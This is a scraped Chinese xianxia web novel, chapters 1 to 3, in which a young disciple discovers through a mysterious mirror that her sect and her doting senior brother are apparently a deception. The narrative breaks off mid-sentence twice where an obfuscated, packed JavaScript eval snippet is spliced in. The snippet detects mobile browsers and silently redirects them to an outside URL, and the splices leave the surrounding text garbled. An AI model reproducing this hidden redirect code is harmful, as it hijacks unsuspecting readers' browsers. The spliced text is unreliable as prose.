《重生后被高岭之花纠缠上了》 1. 001 褚绥意偶识镜中人 褚恣时常觉得,自己能入长生宗是个意外。 五岁那年,褚恣生了一场大病,母亲为了她上山采药,不慎跌下悬崖。 那是十一年前暮春,黄梅雨缠绵数日,褚恣在终南山遮天蔽日的苍藤古木之中找了三日,终于在崖下一处清涧边找到了母亲被摔得面目全非的尸首。 她早已记不清,幼时自己是怎样用一副孱弱身躯,掘出一块三尺见方的墓地为母亲下葬的。她只记得彼时她跪在坟前,刚磕完头,一道人影自霏霏烟雨中凌空而至,竹影青霭笼罩在仙人身在,她看不清仙人的脸。 仙人轻抚她的头顶,声音很轻:“你天生仙命,可随我入仙门修行,从此以后,我便是你师……” 话未说完,眼前仙人陡然变幻,化作一柄玄木银丝拂尘,“啪嗒啪嗒”抽得褚恣脑门生疼。 伏案小憩的少女骤然睁眼,正撞进一双琥珀鎏金的兽瞳之中。圆脸尖耳,灰毛黑斑,皮毛莹润流光,是只足有人高的猞猁,是褚恣养的灵宠。因体型太大,这张离火暖玉大案险些兜不住它,急得它尾巴摇得跟风车似的直抽褚恣脑袋。 就说做功课时不能偷懒罢! 褚恣揉着脑袋低头一看,脑袋下枕着的哪里是功课,分明是厚厚一摞话本!她白日听讲经打瞌睡被罚抄清静经三十遍,这会儿已是日暮时分,经书一遍都未曾抄完,话本倒是看了不少! 褚恣两只眼睛骨碌一转,心道,养豹千日用豹一时,委屈你了豹豹,再帮我背一回锅吧! 她抓起猞猁两只毛茸茸的前爪,在经书上一通乱按,豹豹“嗷呜”叫了两声,挣扎着抽出爪子跳下桌案就开始舔爪子。 这洁癖的性子,也不知随了谁。 “师妹,”身侧有人出声,嗓音低醇,清冽如同窗外碎雪折竹,“弄脏经书可是要被罚站的。” 褚恣这才注意到,她师兄褚无晦也在。 褚恣这间屋子陈设简单,一张四角垂帐的床榻,一张紫檀木妆台,一方暖玉桌案,一堆乱七八糟摆放的经书、毛笔、胭脂水粉和褚恣随画随扔的画卷,以及一扇云母琉璃屏风。 屏风后设一只小火炉,此时正煨着牛乳茶与桂花蜜饼,满屋子都是飘飘袅袅的甜香。 长生宗弟子早已辟谷,唯有褚恣是个例外,难断人间口腹之欲。她师兄褚无晦,堂堂长生宗首席大弟子,日日变着花样为她准备吃食,一日五餐,顿顿不落。 恰临宵夜时分,褚恣喜上眉梢,哪里还管什么经书话本,先祭了五脏庙再说! 谁知她师兄早已看穿她的心思,眼睛虽盯着经书,指尖却微微一动,炉子上的美味夜宵顷刻化作那方乱到让人难以直视的桌案,褚恣扑了个空,险些栽倒在地。 “师兄!我方才做了噩梦,十分心悸,得吃三个、不、五个桂花蜜饼才能补回来!”褚恣掰着手指头。 “经书未抄完,不可吃宵夜。” 褚无晦坐在一把竹椅上,脊背挺直,正襟危坐,一身月白素绫长袍广袖轻垂,袖口处银丝流云纹似水般流动,冠带齐整,周身上下半分褶皱皆无,发丝一丝不苟尽数束起,被白玉菩提发冠规整绾住,清肃冷淡到近乎刻板。 褚恣赌气打开竹窗。 长生宗隐于一座与世隔绝的仙山,此山绵延万里,高约万丈,终年积雪,此时窗外更是飞雪穿庭,门前潇湘竹影皆覆碎玉,分不清是月光还是雪色。 褚恣甫一开窗,穿堂风吹得她衣袍猎猎:“那我便站在风口抄经书!让冷风冻死好啦!” 褚无晦头也未抬:“师妹,你一入仙门便学会了护身法诀,早已不畏寒了。” 话虽如此,见褚恣发丝被凛风吹得凌乱,还是起身取了件白狐皮裘为她披上,又妥协地将热茶糕点一一摆在褚恣跟前。 褚恣想到方才那个梦,忽然没头没脑问了一嘴:“师兄,你把我捡回长生宗后有没有后悔过?” 褚无晦目光极轻微地怔了怔:“为何要悔?” “因为我根本不是修无情道的料子!”褚恣立马抱怨道,“每次韩长老讲‘夫人神好清,而心扰之’,我就开始犯困打盹。” 长生宗修无情道,门规众多,教条森严,宗门弟子行事皆遵规守矩,不折不扣,简直是一个模子刻出,他师兄褚无晦更是刻板中的佼佼者。 褚恣愈发看褚无晦不顺眼,索性放下手中狼毫,以迅雷不及掩耳之势将他的衣衫发髻揉得乱七八糟,方满意地停了手:“这下顺眼多了。” 褚无晦是长生宗首席大弟子,左受同门一个“宗门典范”,右受长老一个“仙家楷模”,不仅对自己高标准严要求,对其他师弟也一视同仁,唯独对褚恣纵容得没边。若是换作旁人敢对褚无晦这般无礼,早就被废了修为从头开始了,可这样待他的是褚恣,褚无晦只笑着正好衣冠,不轻不重地道了声“不要胡闹”。 “师妹,你自幼洒脱恣肆,修习心法便很好,不必入无情道。” 一阵脚步声从院外由远及近,屋外檐铃轻响,一道人影款款来到二人跟前:“该喝药了——” 象牙白广袖长衫外罩一层云水蓝长袍,衣襟处暗金竹叶纹隐隐流光,腰间垂着几只药囊,行动处身姿挺拔若青竹覆雪,步履间款带轻盈有药香浮动,眉眼处本盈着几分清润笑意,瞧见褚恣后脸色一变。 “怎么站在风口上?这里是有人要原地飞升吗?可别飞升到一半摔下来,红的白的碎一地,在下即便是当世神医也救不回来哦!” 褚恣笑道:“黎‘半医’,你就别担心我了,我要的哑药你研制出来了吗?” 黎“半医”本名黎白衣,是个借住在长生宗的医修,没人知道他从何处来,褚恣只记得她入长生宗第二日,竹林小筑旁就建起了药庐。黎白衣同褚恣他们师兄妹做了十一年的邻居,也给褚恣开了十一年的药。褚恣时常想,再大的病,连喝十一年的药也该好了,何况她身康体健本就没什么毛病。是以褚恣总疑心黎白衣医术不佳,拿她试药,也就给他取了个“半医”的外号。 “哑药?这是又要捉弄哪位弟子?” “你。”褚无晦适时接了一句,褚恣心道还是师兄懂我,补充道:“当然是治一治你这刻薄的嘴。” 黎白衣无奈,以袖掩面故作伤心状:“哎呀褚绥意,这便是你的不对了!在下每日为你辛劳煎药,这在话本里可是要以身相许的,你非但不知恩图报还要拿哑药治我,良心安在啊?” 褚恣眼睛一转:“行,你挑个好日子自己赘过来吧!” 黎白衣睨了褚无晦一眼:“别……你可别恩将仇报。” 打趣完,褚恣接过药碗,“这又是补什么的?” 药汤是熟悉的颜色、熟悉的气味、就连喝在嘴巴里也是熟悉的口感,黏稠、微苦、回甘,俗话说“久病自成医”,褚恣觉得自己药喝多了也能尝出其中的药材了。 白泽泪、夫诸角、乘黄胆、扶桑果,总是这几样换汤不换药,黎白衣有时说这药能锻体,有时说这药可祛毒。 “哎呀!你深夜抄写经书很伤眼睛的,乖乖把药喝了,保准你明日眼观千里,目明如炬。”今夜黎白衣如是说。 如此稀缺的极品药材熬在一起竟然仅仅是保护眼睛吗?散是满天星,聚是……能明目? 这对吗? 褚恣不大相信,但这药喝了以后能睡得十分香甜,她“哐哐”两口喝完,倏而又冒出一个念头:“师兄,如果我是这碗药怎么办?” 黎白衣冷笑:“你若是这碗药,估计能毒死整个长生宗。” 褚恣盯着黎白衣,只觉这人可真是八分的医术,九分的美貌,十分的嘴毒!遂不客气的回呛:“哪比得上你黎半医,只需动动嘴皮子就能把人毒死了。” 褚无晦倒是早习惯了褚恣时常冒出的这些千奇百怪的想法:“你若是药,就不必抄写三十遍清静经了。” “好了,喝了药便早些睡吧,不许半夜偷偷看话本。” 褚恣听到想听的答案,又是福临心至:“师兄,若是我身在话本里怎么办?” 褚恣本意还想听听她师兄能说出什么话哄自己,谁知褚无晦神情一滞,就连一旁的黎白衣笑容也凝重起来。 空气中一时静默,只剩下炉火哔剥声。 褚恣左右瞧着这两人,心中浮出一丝怪异感,但很快倦意来袭,沉沉睡了过去。 及至次日,褚恣心中那股怪异感仍拂之不去。 她不过是心血来潮做个假设,为何师兄和黎白衣的脸色会如此难看? 下一刻,剑锋擦出寒芒直逼眼前,褚恣思绪立时回拢,指尖掐诀应对,金光护体,足尖一点轻松避开。 “褚绥意!今日你又迟到了!” 今日修行演武,褚恣因在练剑上三天打鱼两天晒网,得长冥真人韩巫子亲自指点。这位韩长老掌管长生宗门规增删修订,是个十足的老顽固,时常将褚恣视为百来年修行一大劫难,一心想要磨平她的棱角。 “再这样散漫怠惰下去,终会泯然众人!” 这话褚恣不认同,万千修士生于众生血脉,复归于众生,何谈泯然? 褚恣回道:“众人又如何?高峰巍峨,若无土石助之,亦成平川;东海汪洋,若无众川汇之,也变桑田……” 不等褚恣说完,韩巫子怒气冲冲地打断:“褚绥意!谁教得你这样同尊长顶嘴?” 从来没有哪个弟子敢如此公然顶撞长老,周围练剑的弟子也好奇地朝这边看了过来,韩巫子此时若不罚褚恣,往后在弟子跟前如何立威?他作为尊长的颜面何在? 褚恣看见韩巫子双指重重往下一点,下一瞬似有千斤重鼎沉沉压在背上,这是长老罚跪弟子常用的指诀。 名门正派都重气节,当众罚跪这样的处罚,足以让被罚者承受莫大的羞辱,以至再也不敢犯禁。 褚恣咬着牙强撑着没有让自己跪下去,艰难地继续自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486076|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未尽之语:“长老……也、也许在长生宗内,你已成高峰,可仙门当中,飞升者千、化境者万,高峰何止数万!您不也泯然于众峰之中么?” 若心逐外物,人人皆为众木;若神守己身,一叶自成菩提。 “岂有此理!你自甘庸碌,朽木难雕!”韩巫子气到整个人发颤,收剑入鞘一掌将褚恣打出练剑台,“长生宗开宗千年怎么就出了你这么个异类!无晦当年执意代师收徒,真是鬼迷了心窍!” 此话如一记重锤重重砸在褚恣心间,自小到大诸多怪异之处蜂拥一般在脑海中炸开,褚恣一时竟理不出一丝头绪来。 她确实天性不喜受拘束,与长生宗那些陈规旧礼处处相悖,可师兄为何要对自己百般纵容? 褚恣想不通,此时她脑中一片混沌,茫然四顾,周遭一切的声音似乎都湮灭了,练剑台上师姐师兄们皆招式齐整,摆阵、对剑整齐划一,唯有褚恣拿着一根竹枝格格不入。 褚恣心中没由来生出一股未名的恐惧。 直至冷冽的山风刮得脸颊生疼,褚恣才发觉自己站在了长生宗高处。此处视野开阔,可俯瞰整个宗门,又因常年积雪覆盖,正适合削木为马乘雪疾行。 多思无益!管你几多烦扰,我意自逍遥! 褚恣撤下护身法诀,一路穿风掠雪,耳畔只余风声呼啸时,忽然感到脚下雪地一阵震颤,山巅倏而传来闷雷般异响。褚恣心道不妙,回头望去,只见山巅积雪轰然崩落,如天河倒泻,不由回神,雪浪已如吞天卷地一般翻涌而至,褚恣忙沉下气来凌空踏雪奋力疾掠,瞥见不远处似乎有一处山洞,眼疾手快纵身扑入。 甫一入洞,便听见外面天崩地裂,漫天飞雪轰然倾泻,将洞口死死封住。刹那间,天地皆寂,光亮尽绝。 褚恣倒地喘息,惊魂未定,心跳稍稍平复下来后,才发现右臂处传来一阵刺痛。她方才进洞时太急,倒地时似乎磕到了什么东西,一股温热自腕间蔓延开来。 今日真是诸事不宜! 褚恣长叹一声,稍稍为自己止住了血,取下腰间金铃向褚无晦传信。许是被雪封绝,山洞闭塞,金铃在法诀催动下徒然发光却未有声响传来,跟灯烛没什么两样,她索性撤了传信,借着金铃的光打量起山洞来。 这山洞高约三丈,深有百仞,足有宗门大殿那般大,不知是人为还是自然凿出。洞内杯盘盏碟散落一地,角落处还堆着数只酒坛,泥封未启,山洞中隐隐回荡着一丝酒香。 长生宗禁酒,这些东西都是何处来的?莫非有人违背禁令,偷偷溜至此处饮酒? “上尊,找到了。” 一道声音平空而起,在寂寂山洞中如鬼如魅,褚恣循声望去,才发现声音竟是从一面铜镜中传出。 这面铜镜不过巴掌大小,镜面有些斑驳磨损,镂花纹路上凝着未干的血迹,应是褚恣方才磕破手臂滴落上去的。 山洞,古镜,血迹,怎么看都有些诡异。多少邪魔歪道以血为祭,该不会恰好就是自己的血,启动了什么未知的阵法吧! 正胡思乱想间,镜面中陡然出现一张青面獠牙的脸,褚恣心中一惊,手中已迅速掐好指诀,细看才发现原是人戴着一张穷奇傩面在装神弄鬼。 褚恣五岁入仙门,诵经打坐上虽没个正行,修为境界却是不低,又正值天不怕地不怕的年岁,心想管你是人是鬼,是人就打,是鬼就收! 谁知那人已退下,镜面中出现另外一道人影。 他头戴玉质莲花观,银发以玉簪束起,更衬得面容清俊艳丽,又因一双茶色眼眸始终含着温和慈悲的笑意,尽数化去了锋芒与秾艳,只余下春风拂面般的温润亲和,叫人心生亲近。 见到褚恣,镜中人笑意更甚几分:“师妹,终于找到你了!” 整个长生宗这般唤褚恣的,唯有她师兄一人,可这人不是褚无晦。褚恣后退一步,试探道:“前辈也是长生宗弟子?” 这人笑意凝滞:“长生宗?可是仙门新成立的门派?” 镜外另有一道女声传来:“大师兄,听小五的语气,似乎是不认得你了。” “大师兄”?褚恣糊涂了,自她入宗门起,长生宗首席大弟子,唯褚无晦一人耳。镜中二人虽唤她唤得亲切,褚恣却拱手抱歉:“不好意思前辈,我不是你们要找的人。” 镜中人神色笃定,语气不容置喙:“吾不会认错,小五,你幼时名唤春笙,是你师父为你赐名褚恣,取字绥意。” “幼时你与小四每次闯完祸,都叫吾来帮你们兜底,你怎会不记得吾呢?”说到最后,镜中人瞳色渐黯,满目失落。 褚恣听完这话,心口骤然一刺,铺天盖地的混沌又沉沉向她压来,几乎叫她喘不过气。她嘴唇煞白,眼底一片茫然:“可……可我从未在长生宗见过……” “那是因为——”镜中人肃然开口,一字一顿道。 “你、根、本、不、是、长、生、宗、弟、子。” 2. 002 镜中人点破此中象 暮春三月,满架紫藤凌空垂落,层层花影下,斑驳春光洒落在浑身泥污的稚女身上。 这是在哪?这女童又是何人? 褚恣确信自己是在做梦,因为透过重重花幔,无论她如何变换角度,始终看不清那孩童的模样。 “天地玄宗,万炁始清,受持金印,覆护坛庭!” 是护身法诀,随着话音落下,女童指尖金光震荡,满树紫藤花瓣簌簌飘落,似是察觉到有人窥视,女童倏地回过头来,双瞳黑亮清澈,像是要将褚恣的灵魂看穿。 褚恣心底惊起一身冷汗。 这张脸、这张脸怎么同自己长得一模一样!确切地说,这分明是她幼年的模样! 这到底是怎么回事? 来不及细想,褚恣猛地感到一股强大的推力,身体竟不受控制地往女童那边倒去,两人撞上去的瞬间褚恣眼前一阵眩晕,身后忽有疾风逼近,身体已快过意识,褚恣看见自己整个缩小一圈的手掐诀变幻,金光霎时遍护周身,一管灵气沛然的洞箫堪堪在眼前停下。 尔后一只同样稚嫩的手取回洞箫,露出来人粉雕玉琢的一张脸,是个女童,不过垂髫年岁,穿一身松花绿金丝罗裙,身披秋香色云纱,云鬓上簪着金钗玉环,俊眼修眉,顾盼神飞: “你便是涵虚真人从凡世带回来的小师妹?” 涵虚真人?那是谁?询问的话到了嘴边,褚恣却听见自己开口,声音满是稚气:“嗯!我叫褚恣,你是谁?” 她真是幼年的自己?可褚恣竟完全没有这段记忆! “我叫……” 对方正要开口,褚恣忽然感到一阵耳鸣,她眼睁睁看着自己从幼年“褚恣”体内剥离出来,紫藤花散,稚童消弭,画面由艳艳晴日化作霏霏烟雨,竹影重重,天地之间只有一坟茔、一少年、一童女耳。 少年头戴白玉菩提冠,一身月白长袍逶迤在地,将跪在坟前的幼年褚恣拉起来,“我名唤褚无晦,以后便是你的师兄。” “师兄?”小小的褚恣歪着头。 “嗯,师妹……”一阵天旋地转,耳畔只剩少年急切地呼唤,“师妹!师妹……” 褚恣竭力睁开双眼,眼前不再是漆黑冷寂的山洞,而是自己那间明亮温暖的屋子。头顶是天水碧罗帐,床尾趴着灵宠豹豹,床侧坐着满眼关切的褚无晦,角落里的青铜麒麟兽首炉里的安神香飘飘袅袅。 “嗷呜嗷呜~”见她醒了,猞猁忙从床尾凑过来舔她的脸,十分欢喜,褚恣却被它舌尖的倒刺舔得又疼又痒,只好囫囵推开它的脑袋。随着她的动作,袖袋里有东西从腕间滑至手肘处,又圆又硬的触感。 ——是山洞里的那面古怪铜镜! 褚恣有一股莫名的预感,这面镜子将会将她此生搅得天翻地覆。她有些不安,又隐隐带了些许期盼,下一刻,她注意到了褚无晦的神色。 他低着头,脸上一丝血色也无,苍白得如同薄纸,薄唇紧紧抿着,眸底尽是自责与心疼。 褚恣从未见过师兄这副模样。 看样子,师兄这次是真吓到了! 褚恣这样想,心底十分过意不去,忙开口道:“师兄,是你带我回来的吗?你是怎么找到我的?” 褚无晦言简意赅地解释了一番。 他正在打坐,却忽然感知到褚恣有危险,忙带着豹豹寻过来,他们赶到那处山洞时,她已经受冻昏过去了。豹豹忧心急了,将褚恣埋在自己毛茸茸的身体下,死活不让褚无晦靠近,是褚无晦说要尽快带褚恣回家才退开的。 “带你回来这一路上,你不停喊着‘你是谁’,”褚无晦伸手抚上褚恣额间,手指如玉一般冰润,“是梦魇了么?” 褚恣又想起方才那个梦,好真实!梦醒来还能记得梦中那个绿罗裙小女孩清脆的笑声,好似自己亲身经历过一般! 她想问褚无晦自己幼年是否当真结识了这样一个同伴,涵虚真人到底是何人,古怪铜镜中的镜中人为何称自己不是长生宗弟子。 可一连串的询问到了嘴边竟被自己鬼使神差地咽了下去,只是避重就轻地将在练剑台的遭遇添油加醋地向褚无晦复述一遍。 “韩长老也太过分了!辩论不过便说我是长生宗异类!”褚恣委屈巴巴地眨着眼睛博取同情,“师兄,你看我像异类吗?” “他不过是个行将就木的老腐朽,不必理会。” 从前她闯出再大的祸来,她师兄也不过一句“无事,交给师兄便好”,浅苍眼眸虽如古井,却暗藏柔光,总是能叫褚恣安心。而今褚无晦浅苍的瞳色已汹涌成浓墨,冷寂目光中不过一点寒芒,却叫褚恣看着心颤。 坏了!自己这添油加醋添多了,竟然让师兄动这么大的气!褚恣赶紧找补:“其实吧,我觉得韩长老也有些道理,我在长生宗确实有些格格不入,不如出宗门去历练历练?” 褚恣抱着试探的心思。 她又想起镜中人那些语重心长地告诫:“小五,你根本就不是长生宗弟子。仙门十四洲内也没有一个叫做“长生宗”的宗门。所谓的长生宗,不过是无情道第一宗门长生巅的某处福地罢了!” 先前那股未名的恐惧再次细细密密缠绕上来,褚恣混沌的脑海似乎裂开一隙清明,若此话当真,岂不是自己这十六年来一直生活在虚妄假象之中! 这简直不可置信! 褚恣曾坚定不移地认为镜中人在胡言乱语,下一刻却听见褚无晦的厉声拒绝:“不可!” 许是担心吓到褚恣,他神色稍稍缓和下来,耐心解释:“你过几日便要进学宫了,等课业结束后再出宗门罢。” 自小到大,每次褚恣想要出宗门,褚无晦都会以各种理由挡回去,好在长生宗奇景险峰洞府无数,褚恣多的是地方消遣,从前她并不将此放在心上,可今日这一声拒绝却让褚恣心生疑惑。 师兄为何不准她出宗门?难道真如镜中人所言,所谓宗门不过是囚困住她的幻象? 褚恣心乱如麻,褚无晦安抚道:“你今日受惊,先好生休息,我去为你准备宵夜。” 趁他离开,褚恣赶紧掏出袖袋中的铜镜,上面的血迹已经干涸了,斑驳镜面中只有褚恣疑惑的面孔:“前辈?前辈你还在吗?” “吾在。”镜中人再次出现,眼神似有幽怨,“小五,你同吾生分了许多,你从前一直唤吾‘大师兄’的。” 褚恣自小到大只认褚无晦这一个师兄,实在是难以对一个突然出现的生人改口,镜中人似是看穿了她的心思,也不再强求:“罢了,小五,你失踪的这些年,是如何被困在长生巅福地之中的?” 褚恣也不知为何,对着镜中人竟毫无防备,将自己幼时如何被褚无晦捡到、如何拜师入宗门一一交代。 “等等,小五,你是说,你如今的师兄,名唤褚无晦?”镜中人露出一丝难以言喻的神色。 “不错!前辈,你听说过我师兄的名号么?” “未曾。”镜中人摇摇头,“小五,你忘了,你有师门,你师父待你慈爱宠溺,师兄师姐亦百般呵护,而你口中所谓的‘师兄’,不过是趁你失忆,居心叵测蒙骗于你,你若不信,可前往……?” 正说到关键,褚恣却听见室外的脚步声,赶紧将铜镜收好噤声,下一刻褚无晦端着食盘走进来。 褚恣心中有事,食欲平平,连褚无晦为她炙烤的鹿肉也没吃几片,按例又喝了黎白衣那碗能愈伤祛疤的汤药,打算趁夜摸清真相。 然后—— 一觉睡到日上三竿。 “……”这觉怎么如此误事! “师妹可是有心事?”褚无晦打坐完,察觉褚恣依旧心不在焉。 褚恣心道,坏了!平日与师兄朝夕相伴,她的心思在褚无晦面前根本藏不住!她正色道:“今日约了宋长老门下几位师姐画像,激动不已一时忘形,师兄我先走了哈!” 褚恣带着铜镜匆匆走远,一路避着人,到僻静处才拿出铜镜,还未开口,镜中人便道:“小五,你从前虽散漫,却从不怠慢修行,你如今难道日日都睡到午时才醒么?” 褚恣很不好意思地点头称是:“不知为何,我时常慵倦,每日即便是睡七八个时辰仍疲倦不堪。” 镜中人思忖片刻:“兴许是你睡前喝的那碗药中添了迷香,使你日日困倦便没有多余的精力去怀疑身处的假象。” 此话是镜中人的偏见揣测,褚恣却无端感到一股寒意,心中也打定主意今晚不喝那碗药看看真假,又在镜中人的指引下,一路穿深林越险峰,来到宗门西北角的一处悬崖边。 此处罕无人迹寸草未生,前方是遥无边际的云海,脚下是白茫茫的雪地,雪地上乱石林立如同坟冢。最当中一块三丈来高的黑色巨石上,裹了一圈又一圈手腕粗的玄铁锁链。 “前辈,此处是宗门禁地,你让我来此处做什么?” 镜中人答非所问,“将你的金铃放进锁扣。” 为防止外人误入,仙门中许多机关须得本宗弟子持通行玉牌方可打开,而自从传信金铃问世之后,仙门发现金铃虽小,却可存纳无数密令,且机关轻巧,携带便易,故以金铃取而代之。褚恣抬头果真看见巨石上方有一刻着经文的凹槽,褚恣照做。 镜中人道,“右手掐生门诀,跟着我念,‘乾坤如令~’” 褚恣照做,“乾坤如令,” “剑灵如闻~” “剑灵如闻。” “驱迷除障~” “驱迷除障。” “为我奉行~” “为我奉行。” 最后一句口诀落下,脚下忽然一阵震颤,黑色巨石上的锁链渐渐脱落,一寸一寸向前方云海延伸出去,锁链尽头竟凭空出现一座孤峰。 褚恣大为震惊,一步一步踏着锁链进入孤峰,云开雾散后,她才发现里面竟别有一番天地! 冰天雪地的荒原之中,万千长剑如林,悉数埋于冻土之下,朔风卷着碎雪,凝成万千剑脊的流光。 “小五,此处并非什么禁地,乃是长生巅剑冢。” 褚恣一面在剑林中穿行,一面疑惑,镜中人究竟是什么身份?自己都不知道的地方,此人竟一清二楚!又听得镜中人细细解释道: “仙门修士境界分学境、能境、妙境、极境、化境、自在境。而长生巅弟子一入能境便可入剑冢召唤出一把与自己相契的命剑。百年前,长生巅有一弟子,天生无情剑道奇才,六岁时剑冢初试便与三把剑相契。” “小五,你而今已入妙境,却连一把命剑都没有,你不觉得奇怪么?或者,你也可以试一试,看看能否召出一把属于你的命剑。” 褚恣徒然看着这一切,万千剑林无一把是为她而鸣。 还有什么试的必要呢? 难怪师兄要将此处列为禁地不许她进来,原来是防止她发现端倪。 她竟真不是长生宗弟子! 那她这十六年与褚无晦的朝夕相处、与长老的斗智斗勇、与师姐师兄的同门情意算什么? 信任一旦出现裂痕,便会如蛛网爬满周身。 褚恣一路回到竹林小筑,褚无晦正在院中摘取梅花,因为褚恣昨日出门前说想吃梅花甜羹。 风过时,白梅簌簌,落满少年衣上三重白雪,清极雅极。他取下额间一朵,珍重地压在褚恣最爱的那折话本里。 平心而论,师兄这些年将自己拉扯大很不容易,又是操持她的日常起居,又是教她修行授她明理,为何独独要在剑冢一事欺瞒她呢? 褚恣尤不死心,走上前去,拂开褚无晦肩头落梅,一脸正色:“师兄,我有事请教。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486077|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 褚无晦见她神色凝重,眉心轻轻一跳,面上却是不显,将装着梅花的竹笾放进褚恣手中:“何事如此郑重?” 褚恣道:“我于练剑台日日求索,发现师姐师兄皆有命剑在身,为何单单我没有剑呢?” 褚无晦信信笑开:“师妹,我们这一门修习心法不入剑道,自然无剑。” 褚恣才想起来,师兄日日打坐修行诵经抄书,也没有命剑。 会不会是镜中前辈走火入魔,故意说一些玄之又玄的话使她陷入虚无? “你从前并不在意这些,”褚无晦继续折着梅花,看似不经意发问,实则已经快将褚恣的心事看穿,“是有弟子在背后胡乱说了些什么吗?” “没有!”褚恣赶紧否认,捧起一捧梅花轻嗅,“好香!师兄多折一些,为我做几个香包罢!” 褚无晦依言称好,在这些事上,他从不拒绝褚恣,又听得褚恣絮絮叨叨。 “不过梅花得晒干一些,去年梅花没晒干,没几日便起霉了。” “啊!今日正是晴日,不如去藏剑峰晒梅花,还能顺便看看日落!” 藏剑峰位于宗门最西处,因山峰陡峭似三把长剑直直插入云端而得名。此处云腾雾涌,古松虬结,日落时万道金光揉进漫漫云海之中,霞光染透层峦叠嶂,尽显天地壮阔苍茫。 碎金落进褚恣眼眸,猎猎山风中她像一只追光的蝶,褚恣感慨:“要是日日都能与师兄来此处看日落就好了!” “师妹今日约了宋长老门下的师姐画像,明日说好去黎白衣的药庐学捣药,后日又约了周长老门下的师兄去后山射猎,还约了赵长老门下的师姐三日后去藏经阁打牌。”褚无晦为她拂开脸上的碎发,对褚恣行程安排越是如数家珍,褚恣就越发心虚。 “师妹日日逍遥自在,哪里还顾得上日落?” 褚恣挽上褚无晦的胳膊,理不直气也壮:“那师兄会永远陪着我么?” 褚无晦正待回答,天际处忽然传来一声尖利的鸣叫,一只庞然大物直朝他们所在的方向飞过来。 这是执法长老莫等闲的坐骑灵鹫,翅展约两丈,尖喙如剑,利爪似铁,被这一爪子抓上,不残也得伤筋动骨一整年了。 褚无晦立时将褚恣护在身后,手中掐诀,金光瞬凝为盾,灵鹫却不知为何发起了狂,一爪将灵盾击个粉碎。 褚无晦指尖法诀迅速变幻,金光如同箭雨一般朝灵鹫直攻过去,灵鹫灵活避开,瞥见褚恣不知何时脱离了褚无晦的保护范围,忙调头掠过箭雨紧盯褚恣疾驰而去。 褚无晦未及细想,已轻掠足尖挡在褚恣跟前,灵鹫一爪将褚无晦手臂抓出几道深可见骨的血痕,衣袍一下子被鲜血染红一大半。 “师兄!”褚恣头皮一炸,赶紧扑倒在褚无晦身上,颤着手去为褚无晦止血。 千钧一发之际,豹豹不知从哪儿冲出来,挡在二人身前,朝灵鹫发出低沉咆哮,灵鹫与猞猁对峙片刻,终于恨恨地飞走了。 褚恣心中满是愧疚,眼泪吧嗒吧嗒地掉:“师兄……我……” 褚无晦拿干净的那只手擦褚恣的眼泪,强忍住痛:“别哭师妹,你……你想要试探师兄不要紧,万万不可……置自身安危于不顾。” 褚恣后悔极了。 灵鹫之所以发狂,皆因她掏了人家的鸟蛋,她想看看陷入危险时,师兄会不会将剑召唤出来。可褚无晦非但没有剑,还为了救她被灵鹫抓伤了胳膊! 她从未见过师兄受这样重的伤! 都怪自己听信镜中人的一面之词! 褚恣这一晚守在褚无晦的床边寸步不离,连最喜欢的梅花甜羹都没喝几口。 黎白衣端药过来时,闻到满屋子里的血腥味:“该喝药了褚绥意,今日这药能止血……啊……受伤的不是你而是玄晖君啊!” 褚恣连忙接过药碗将药送到褚无晦嘴边:“师兄,黎白衣说这药能止血,你快喝了吧!” “不可!”黎白衣神色骤然紧张起来,瞧见褚恣眸底的疑惑,又道,“此药是在下对你的一片心意,你先喝,在下再去为玄晖君煎一碗。” 她又没受伤,为何黎白衣执意要让自己喝药?褚恣表面上将这碗药一饮而尽,实则借着送黎白衣的名义出了院子便将药全部吐了出来。 等到黎白衣一走,褚恣趴在褚无晦床头自责:“师兄,我错了!我不该……” 话未说完,脑袋却晕晕乎乎的,眼睛怎么也睁不开,难以挣脱的倦意侵袭全身。 怎么回事?明明没有喝下那碗药,为何还会这样? 不对劲! 迷迷糊糊之间,褚恣忽然想到,除了那碗梅花甜羹,她今夜再没有吃别的东西了。思及此,一阵彻骨的寒意蹿遍周身,整个人却已经软绵绵地栽倒在褚无晦怀里。 唯恐吵醒她似的,褚无晦小心翼翼地将她抱回卧房。 褚恣挣扎着,借着锦被掩盖,将发簪狠狠刺进股间,以疼痛争取片刻清明。 不过片刻,药香盈室,是黎白衣步入室内。 “你觉得灵鹫一事是她在试探你,所以你将计就计,演了一出苦肉计来获取她的信任?” “会不会是你想多了?整个长生宗都在你的监控之中,除了韩巫子,再没有谁在她面前胡言乱语,况且她今夜也将药喝了,并未发现异常之处。” 褚无晦话音冰冷得近乎无情:“或许是我想多了。但她即将进入学宫,从前总是在这个节点功亏一篑,我须得谨慎。” 褚恣整个人如坠冰窟,全身的血凉了大半。 师兄竟当真在骗自己!甚至不惜让灵鹫抓伤手臂! 亏她还信了师兄那句“你想要试探师兄不要紧,千万不要置自身安危于不顾”! 如果连这些都是假的,那什么才是真的? 3. 003 此生魇忽惊前世怨 半夜朔风卷雪,漫天飞絮茫茫覆满整座仙山,万籁俱寂,只有一道身影在夜色中踏雪而行。 褚恣身着单衣,周身寒雪簌簌沾衣,她却浑然不觉,满脑子都是褚无晦和黎白衣的对话。 什么叫“整个长生宗都在师兄的操控当中”? 